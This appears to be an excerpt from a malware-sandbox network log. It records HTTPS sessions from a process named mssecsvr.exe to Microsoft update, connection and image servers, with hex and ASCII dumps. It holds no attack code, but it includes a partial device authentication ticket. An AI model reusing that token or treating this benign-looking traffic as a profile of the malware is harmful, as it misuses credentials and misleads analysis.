2022-07-20 11:24:45 UTC	6649	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.7	50827	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:45 UTC	6653	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 31 33 62 37 65 63 31 62 30 39 35 65 30 33 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 913b7ec1b095e033
2022-07-20 11:24:45 UTC	6653	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:24:45 UTC	6653	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 31 33 62 37 65 63 31 62 30 39 35 65 30 33 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: 913b7ec1b095e033<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:24:45 UTC	6654	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 31 33 62 37 65 63 31 62 30 39 35 65 30 33 33 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 913b7ec1b095e033
2022-07-20 11:24:45 UTC	6654	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:24:45 UTC	6654	IN	Data Raw: 4d 53 2d 43 56 3a 20 38 59 4c 73 49 68 77 4f 4c 30 75 66 4a 75 78 7a 57 43 6c 4a 41 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 8YLsIhwOL0ufJuxzWClJAw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.7	50850	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:46 UTC	6654	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:46 UTC	6655	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 4376f8e1-a53f-4850-9fd8-93cf67eee055 MS-RequestId: 56725609-9f9f-4f06-a23f-f9f208d739a3 MS-CV: ZY/WWWhkfEyyOOwE.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:46 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:46 UTC	6655	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:46 UTC	6671	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:46 UTC	6687	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.7	50858	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:46 UTC	6690	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:47 UTC	6691	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: ad3b739c-de26-4996-a4a4-b01a2fd26d43 MS-RequestId: ca07259f-89ef-4359-af7c-b67748ffe6b0 MS-CV: h/HPL/CIL0WcY1B1.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:46 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:47 UTC	6691	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:47 UTC	6707	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:47 UTC	6723	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.7	50892	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:48 UTC	6726	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:48 UTC	6726	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 71f32852-b07b-463b-a9ce-dda4348ce7ed MS-RequestId: 4bfed185-676a-4f10-9877-47319bf6b035 MS-CV: uJib/k52nEu7nXyg.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:48 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:48 UTC	6727	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:48 UTC	6742	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:48 UTC	6758	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.7	50919	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:48 UTC	6762	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:49 UTC	6762	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: b9cc1839-34d9-47c7-9c19-cf81c4ce7350 MS-RequestId: df5b124e-7fad-4299-a9f2-306e7e3ae686 MS-CV: Pq4frCSNYUmaELdF.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:48 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:49 UTC	6763	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:49 UTC	6778	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:49 UTC	6794	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.7	50950	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:49 UTC	6798	OUT	GET /cms/api/am/imageFileData/RWEtez?ver=148f HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 11:24:49 UTC	6798	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWEtez?ver=148f Last-Modified: Sat, 02 Jul 2022 22:37:03 GMT X-Source-Length: 746374 X-Datacenter: northeu X-ActivityId: 04095847-3489-4041-b2a4-a84a6d1c7c3c Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 746374 Cache-Control: public, max-age=83511 Expires: Thu, 21 Jul 2022 10:36:40 GMT Date: Wed, 20 Jul 2022 11:24:49 GMT Connection: close
